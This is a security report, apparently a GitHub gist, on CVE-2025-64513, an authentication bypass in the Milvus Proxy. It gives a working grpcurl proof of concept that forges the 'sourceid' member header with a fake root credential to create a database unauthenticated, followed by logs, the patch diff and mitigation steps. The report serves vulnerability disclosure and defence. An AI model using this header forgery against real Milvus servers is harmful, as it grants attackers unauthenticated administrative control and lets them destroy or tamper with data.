Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created November 11, 2025 20:38
Show Gist options
  • Select an option

  • Save N3mes1s/9dacc8e305e7ac6a8bfd30fbf8eecef3 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/9dacc8e305e7ac6a8bfd30fbf8eecef3 to your computer and use it in GitHub Desktop.
CVE-2025-64513 / GHSA-mhjq-8c7m-3f7p — Milvus Proxy Authentication Bypass

Security Report: CVE-2025-64513 / GHSA-mhjq-8c7m-3f7p — Milvus Proxy Authentication Bypass

CVE: CVE-2025-64513
Advisory: https://github.com/milvus-io/milvus/security/advisories/GHSA-mhjq-8c7m-3f7p
Component: Milvus Proxy (standalone mode)
Affected: < 2.4.24, < 2.5.21, < 2.6.5 (validated on v2.4.23)
Patched: 2.4.24, 2.5.21, 2.6.5 (validated on v2.4.24)
Analyst: Internal Product Security
Date: 2025‑11‑11
CWE: CWE‑287 (Improper Authentication)


Executive Summary

Milvus Proxy’s gRPC authentication interceptor trusted a caller-controlled sourceid metadata field to distinguish “internal member” traffic from client traffic. Sending that header with the hard-coded value @@milvus-member@@ and pairing it with any Base64 auth blob (e.g., fake root:fakepass) bypasses all credential checks on vulnerable tags. We reproduced the issue by forging those headers against v2.4.23, creating a database as an unauthenticated user, and then confirmed that v2.4.24 rejects the same request. The upstream fix removes the validSourceID fast path so every request must present valid credentials.


Impact

  • Unauthenticated administrative control: Any client capable of sending gRPC traffic to Milvus Proxy can create/drop databases, mutate RBAC, ingest data, or delete collections without valid credentials simply by setting the sourceid header to the member sentinel. Evidence: the forged CreateDatabase call returns dbNames: ["default", "poc_db_from_unauth"] on v2.4.23 (.../logs/repro.log:1116).
  • Configuration agnostic: The bypass succeeds even when common.security.authorizationEnabled=true and enablePublicPrivilege=false, rendering the documented hardening ineffective on affected releases.
  • Denial of service / data loss: Attackers can drop collections or databases, steal or poison embeddings, and alter resource groups, leading to outages.

Environment & Harness

  • Lima remote VM pruva-repro-20251111-145701-… with Docker (arm64).
  • reproduction_steps.sh provisions Milvus v2.4.23 and v2.4.24 containers with authorization enabled, uses grpcurl to craft RPCs, and stores logs under workspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/ (reproduction_steps.sh root).
  • Toolchain: pymilvus==2.4.4, grpcurl 1.9.2, milvus-proto for .proto files.
  • Proxy configuration: each container mounts a hardened YAML at workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-<version>.yaml. Key deltas from upstream default:
    etcd:
      endpoints: localhost:2379
      use:
        embed: true
      data:
        dir: /var/lib/milvus/etcd
      log:
        level: debug
    common:
      security:
        authorizationEnabled: true
        enablePublicPrivilege: false
    rocksmq:
      path: /var/lib/milvus/rdb_data
    localStorage:
      path: /var/lib/milvus/data/
    log:
      level: debug
    These settings ensure the proxy actually enforces auth, emits verbose traces for evidence, and keeps state inside the mounted volume so each run is deterministic. The full file lives at workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-2.4.23.yaml (and the 2.4.24 equivalent) for copy/paste.

Proof of Concept

  1. Start vulnerable Milvus 2.4.23:
    sudo docker run -d --name milvus-ghsa-vuln \
      -p 19530:19530 -p 9091:9091 \
      -v $PWD/configs/milvus-2.4.23.yaml:/milvus/configs/milvus.yaml \
      -v $PWD/data/vuln:/var/lib/milvus \
      milvusdb/milvus:v2.4.23 milvus run standalone
    
  2. Forge headers and call CreateDatabase:
    PATH=$HOME/.local/bin:$PATH grpcurl -plaintext \
      -H 'sourceid: QEBtaWx2dXMtbWVtYmVyQEA=' \
      -H 'authorization: cm9vdDpmYWtlcGFzcw==' \
      -import-path workspace/remote/milvus-proto/proto \
      -proto common.proto -proto schema.proto -proto feder.proto \
      -proto msg.proto -proto rg.proto -proto milvus.proto \
      -d '{"base":{"msg_type":"CreateDatabase"},"db_name":"poc_db_from_unauth"}' \
      127.0.0.1:19530 milvus.proto.milvus.MilvusService/CreateDatabase
    
    Observed response (vulnerable 2.4.23):
    {}
    {
      "status": {},
      "dbNames": [
        "default",
        "poc_db_from_unauth"
      ],
      "createdTimestamp": [
        "1762881221593159638",
        "1762881225148773477"
      ]
    }
  3. List databases to confirm creation:
    grpcurl ... -d '{"base":{"msg_type":"ListDatabases"}}' .../ListDatabases
    
    Observed response (vulnerable 2.4.23):
    {
      "status": {},
      "dbNames": [
        "default",
        "poc_db_from_unauth"
      ],
      "createdTimestamp": [
        "1762881221593159638",
        "1762881225148773477"
      ]
    }
  4. Restart with Milvus 2.4.24 and repeat (same command, but container milvus-ghsa-patched). Patched response:
    ERROR:
      Code: Unauthenticated
      Message: auth check failure, please check username and password are correct
    

Evidence

  • repro.log shows CreateDatabase succeeding on 2.4.23 and ListDatabases returning both DBs (.../logs/repro.log:1119), while 2.4.24 responds with Code: Unauthenticated (.../logs/repro.log:3547).
  • vulnerable-proxy.log captures the proxy accepting the forged call (.../logs/vulnerable-proxy.log:563574), confirming no credential check occurred. Key lines:
    [2025/11/11 17:13:45.148 +00:00] [INFO] [proxy/impl.go:246] ["CreateDatabase received"] [dbName=poc_db_from_unauth]
    [2025/11/11 17:13:45.150 +00:00] [INFO] [proxy/impl.go:266] ["CreateDatabase done"] [dbName=poc_db_from_unauth]
    [2025/11/11 17:13:51.381 +00:00] [INFO] [proxy/impl.go:403] ["ListDatabases done"] ["num of db"=2]
    
  • The patched proxy log shows the same forged request failing with a password verification warning (.../logs/patched-proxy.log:381395):
    [2025/11/11 17:13:49.652 +00:00] [INFO] [proxy/proxy.go:229] ["Proxy init rateCollector done"]
    [2025/11/11 17:13:51.381 +00:00] [INFO] [proxy/impl.go:403] ["ListDatabases done"] ["num of db"=1]
    [2025/11/11 17:13:51.432 +00:00] [WARN] [proxy/authentication_interceptor.go:98] ["fail to verify password"] [username=root]
    
  • vulnerable-create-response.json / vulnerable-list-response.json contain the raw RPC payloads included above for completeness.

Root Cause Analysis

Trigger: sourceid metadata set to Base64("@@milvus-member@@") short-circuited authentication, regardless of authorization contents.

Full patch (v2.4.23 ➜ v2.4.24):

@@
-func validSourceID(ctx context.Context, authorization []string) bool {
-    if len(authorization) < 1 {
-        return false
-    }
-    token := authorization[0]
-    sourceID, err := crypto.Base64Decode(token)
-    if err != nil {
-        return false
-    }
-    return sourceID == util.MemberCredID
-}
@@
-    if !validSourceID(ctx, md[strings.ToLower(util.HeaderSourceID)]) {
-        authStrArr := md[strings.ToLower(util.HeaderAuthorize)]
-
-        if len(authStrArr) < 1 {
-            log.Warn("key not found in header")
-            return nil, status.Error(codes.Unauthenticated, "missing authorization in header")
-        }
-
-        token := authStrArr[0]
-        rawToken, err := crypto.Base64Decode(token)
-        if err != nil {
-            log.Warn("fail to decode the token", zap.Error(err))
-            return nil, status.Error(codes.Unauthenticated, "invalid token format")
-        }
-
-        if !strings.Contains(rawToken, util.CredentialSeperator) {
-            user, err := VerifyAPIKey(rawToken)
-            if err != nil {
-                log.Warn("fail to verify apikey", zap.Error(err))
-                return nil, status.Error(codes.Unauthenticated, "auth check failure, please check api key is correct")
-            }
-            metrics.UserRPCCounter.WithLabelValues(user).Inc()
-            userToken := fmt.Sprintf("%s%s%s", user, util.CredentialSeperator, util.PasswordHolder)
-            md[strings.ToLower(util.HeaderAuthorize)] = []string{crypto.Base64Encode(userToken)}
-            md[util.HeaderToken] = []string{rawToken}
-            ctx = metadata.NewIncomingContext(ctx, md)
-        } else {
-            username, password := parseMD(rawToken)
-            if !passwordVerify(ctx, username, password, globalMetaCache) {
-                log.Warn("fail to verify password", zap.String("username", username))
-                return nil, status.Error(codes.Unauthenticated, "auth check failure, please check username and password are correct")
-            }
-            metrics.UserRPCCounter.WithLabelValues(username).Inc()
-        }
-    }
+    authStrArr := md[strings.ToLower(util.HeaderAuthorize)]
+
+    if len(authStrArr) < 1 {
+        log.Warn("key not found in header")
+        return nil, status.Error(codes.Unauthenticated, "missing authorization in header")
+    }
+
+    token := authStrArr[0]
+    rawToken, err := crypto.Base64Decode(token)
+    if err != nil {
+        log.Warn("fail to decode the token", zap.Error(err))
+        return nil, status.Error(codes.Unauthenticated, "invalid token format")
+    }
+
+    if !strings.Contains(rawToken, util.CredentialSeperator) {
+        user, err := VerifyAPIKey(rawToken)
+        if err != nil {
+            log.Warn("fail to verify apikey", zap.Error(err))
+            return nil, status.Error(codes.Unauthenticated, "auth check failure, please check api key is correct")
+        }
+        metrics.UserRPCCounter.WithLabelValues(user).Inc()
+        userToken := fmt.Sprintf("%s%s%s", user, util.CredentialSeperator, util.PasswordHolder)
+        md[strings.ToLower(util.HeaderAuthorize)] = []string{crypto.Base64Encode(userToken)}
+        md[util.HeaderToken] = []string{rawToken}
+        ctx = metadata.NewIncomingContext(ctx, md)
+    } else {
+        username, password := parseMD(rawToken)
+        if !passwordVerify(ctx, username, password, globalMetaCache) {
+            log.Warn("fail to verify password", zap.String("username", username))
+            return nil, status.Error(codes.Unauthenticated, "auth check failure, please check username and password are correct")
+        }
+        metrics.UserRPCCounter.WithLabelValues(username).Inc()
+    }

(Extracted directly from workspace/.../logs/proxy-auth-diff.txt.)

Why it broke security

  • The sentinel string @@milvus-member@@ is public and constant, so any gRPC client can forge it; there is no TLS binding or HMAC.
  • When validSourceID returned true, the proxy never looked at the authorization header. Our grpcurl PoC set authorization: cm9vdDpmYWtlcGFzcw== (Base64 root:fakepass) solely to satisfy header parsing; the credentials themselves were never validated.
  • Downstream services enabling authorizationEnabled=true gained no protection until they upgraded because the shortcut ran before credential enforcement.

Contributing factors

  1. Implicit trust in metadata: Proxy assumed only internal components knew the sentinel header.
  2. Lack of mutual authentication: No client certificate, IP allowlist, or signature tied sourceid to a real member.
  3. Security disabled by default: With authorizationEnabled=false, many deployments remained wide open even without the bypass; those that enabled it were still vulnerable due to the shortcut.

Mitigation Guidance

  1. Upgrade immediately to Milvus 2.4.24, 2.5.21, 2.6.5, or later. These releases remove the sourceid shortcut and enforce authorization on every RPC.
  2. Backport patch: in custom forks, delete the validSourceID logic and always validate credentials in AuthenticationInterceptor. The upstream diff in logs/proxy-auth-diff.txt can be applied cleanly.
  3. Network controls: until patched, restrict gRPC access (port 19530) to trusted components only (service mesh, firewall) to reduce exposure.
  4. Monitoring: Alert on proxy logs emitting CreateDatabase/DropDatabase with empty usernames or suspicious sourceid headers. The run artifacts include sanitized vulnerable-proxy.log snippets for reference.

Supporting Artifacts

  • Commands & script: workspace/milvus-ghsa-mhjq-8c7m-3f7p/reproduction_steps.sh
  • Logs: workspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/ (repro runs, RPC responses, proxy logs, diff)
  • Configs: workspace/milvus-ghsa-mhjq-8c7m-3f7p/configs/milvus-2.4.23.yaml, milvus-2.4.24.yaml
  • Diff: workspace/milvus-ghsa-mhjq-8c7m-3f7p/logs/proxy-auth-diff.txt

All under artifacts/runs/MILVUS-GHSA-mhjq-8c7m-3f7p/20251111-145701/MILVUS-GHSA-mhjq-8c7m-3f7p/default_recipe/.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment